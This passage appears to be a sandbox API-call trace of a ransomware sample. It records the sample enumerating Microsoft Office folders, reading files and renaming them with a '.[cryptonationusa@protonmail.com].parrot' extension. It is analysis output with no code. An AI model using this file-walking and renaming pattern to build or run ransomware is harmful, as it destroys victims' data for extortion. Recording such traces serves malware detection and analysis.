lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.005] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.006] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79f1a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x79f1a, lpOverlapped=0x0) returned 1 [0211.020] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.066] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBCALSO.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webcalso.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBCALSO.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webcalso.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.075] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.076] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.077] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.078] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31da, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31da, lpOverlapped=0x0) returned 1 [0211.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.084] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBEMAIL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webemail.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBEMAIL.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webemail.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.090] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.090] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.092] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.092] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12a02, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x12a02, lpOverlapped=0x0) returned 1 [0211.096] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHED98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhed98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.105] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.105] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.119] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.119] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31ca, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31ca, lpOverlapped=0x0) returned 1 [0211.121] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBHOME.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webhome.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.128] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.128] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.129] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.130] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34a0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x34a0, lpOverlapped=0x0) returned 1 [0211.130] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBLINK.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\weblink.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.137] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.137] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.138] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.138] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfeb9a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xfeb9a, lpOverlapped=0x0) returned 1 [0211.161] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.201] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.201] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.203] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.203] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d6a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3d6a, lpOverlapped=0x0) returned 1 [0211.205] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WEBPAGE.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\webpage.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.216] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.217] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.218] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.218] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba14, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xba14, lpOverlapped=0x0) returned 1 [0211.221] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.222] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.229] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.229] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.231] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.231] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1716, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1716, lpOverlapped=0x0) returned 1 [0211.232] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WITHCOMP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\withcomp.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.282] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.282] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.284] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79e6b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x79e6b, lpOverlapped=0x0) returned 1 [0211.296] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.DPV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.dpv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.319] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.319] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.323] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.323] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1854, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1854, lpOverlapped=0x0) returned 1 [0211.324] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.325] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WORDREP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wordrep.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.335] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.335] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.337] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dd6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2dd6, lpOverlapped=0x0) returned 1 [0211.338] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.339] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WPULQT98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wpulqt98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.344] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.346] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.346] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31d6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31d6, lpOverlapped=0x0) returned 1 [0211.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\WSIDBR98.POC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\wsidbr98.poc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.352] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.352] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa00d920, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0xa00d920, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.354] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5799b80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x2eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="ACCSBA~1.PAR")) returned 1 [0211.354] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.356] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0211.356] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.356] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0211.356] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0211.356] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="MSNMON~1.IQY")) returned 1 [0211.356] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.356] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.357] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.357] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd, lpOverlapped=0x0) returned 1 [0211.358] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.358] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor currency rates.iqy"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Currency Rates.iqy.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor currency rates.iqy.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.363] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.364] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.364] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x141, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x141, lpOverlapped=0x0) returned 1 [0211.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.365] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor major indicies.iqy"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Major Indicies.iqy.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor major indicies.iqy.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.369] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0211.369] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0211.370] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.370] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x133, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x133, lpOverlapped=0x0) returned 1 [0211.371] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor stock quotes.iqy"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\MSN MoneyCentral Investor Stock Quotes.iqy.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\queries\\msn moneycentral investor stock quotes.iqy.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0211.376] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0211.376] 